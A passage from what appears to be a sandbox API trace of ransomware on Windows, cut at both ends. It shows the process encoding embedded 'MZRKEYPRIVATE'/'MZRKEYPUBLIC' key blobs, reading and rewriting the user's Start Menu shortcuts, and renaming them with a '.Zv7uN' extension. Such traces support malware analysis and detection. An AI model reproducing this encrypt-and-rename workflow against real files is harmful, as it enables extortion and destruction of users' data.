lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.409] GetCurrentThreadId () returned 0xa30 [0129.409] GetCurrentThreadId () returned 0xa30 [0129.409] GetCurrentThreadId () returned 0xa30 [0129.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.410] GetCurrentThreadId () returned 0xa30 [0129.410] GetCurrentThreadId () returned 0xa30 [0129.411] GetCurrentThreadId () returned 0xa30 [0129.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.411] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0129.411] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.411] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x4e2 [0129.411] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.412] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27430, nNumberOfBytesToRead=0x4e2, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27430*, lpNumberOfBytesRead=0x18f108*=0x4e2, lpOverlapped=0x0) returned 1 [0129.415] CloseHandle (hObject=0x1dc) returned 1 [0129.415] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.418] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29460*, nNumberOfBytesToWrite=0x4e2, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29460*, lpNumberOfBytesWritten=0x18f114*=0x4e2, lpOverlapped=0x0) returned 1 [0129.420] CloseHandle (hObject=0x1dc) returned 1 [0129.420] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk.zv7un")) returned 1 [0129.423] GetCurrentThreadId () returned 0xa30 [0129.423] GetCurrentThreadId () returned 0xa30 [0129.423] GetCurrentThreadId () returned 0xa30 [0129.423] GetCurrentThreadId () returned 0xa30 [0129.423] GetCurrentThreadId () returned 0xa30 [0129.423] GetCurrentThreadId () returned 0xa30 [0129.423] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1aa4275f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 0 [0129.423] GetLastError () returned 0x12 [0129.423] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0129.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x61692160, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x61692160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0129.423] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0129.424] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.424] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x61692160, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x61692160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.424] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.424] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.424] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d97bc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d97bc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b75a077, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0129.424] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x613be740, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Ease of Access.lnk.Zv7uN", cAlternateFileName="EASEOF~1.ZV7")) returned 1 [0129.424] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.424] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.424] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x613e48a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Magnify.lnk.Zv7uN", cAlternateFileName="MAGNIF~1.ZV7")) returned 1 [0129.424] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.424] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.424] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6140aa00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Narrator.lnk.Zv7uN", cAlternateFileName="NARRAT~1.ZV7")) returned 1 [0129.424] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.424] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x61692160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="On-Screen Keyboard.lnk.Zv7uN", cAlternateFileName="ON-SCR~1.ZV7")) returned 1 [0129.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.425] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.425] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x61692160, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="On-Screen Keyboard.lnk.Zv7uN", cAlternateFileName="ON-SCR~1.ZV7")) returned 0 [0129.425] GetLastError () returned 0x12 [0129.425] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0129.425] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x60fe0380, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Command Prompt.lnk.Zv7uN", cAlternateFileName="COMMAN~1.ZV7")) returned 1 [0129.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.425] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.425] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d76088a, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x2a6, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0129.425] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6134c320, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Notepad.lnk.Zv7uN", cAlternateFileName="NOTEPA~1.ZV7")) returned 1 [0129.425] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.426] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.426] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x61372480, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Run.lnk.Zv7uN", cAlternateFileName="RUNLNK~1.ZV7")) returned 1 [0129.426] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.426] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.426] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0129.426] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0129.426] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0129.426] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0129.426] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d7ae880, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.426] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0d0d6f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="computer.lnk", cAlternateFileName="")) returned 1 [0129.426] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0129.427] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.427] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\computer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\computer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x7e0d0d6f, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x106)) returned 1 [0129.428] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System 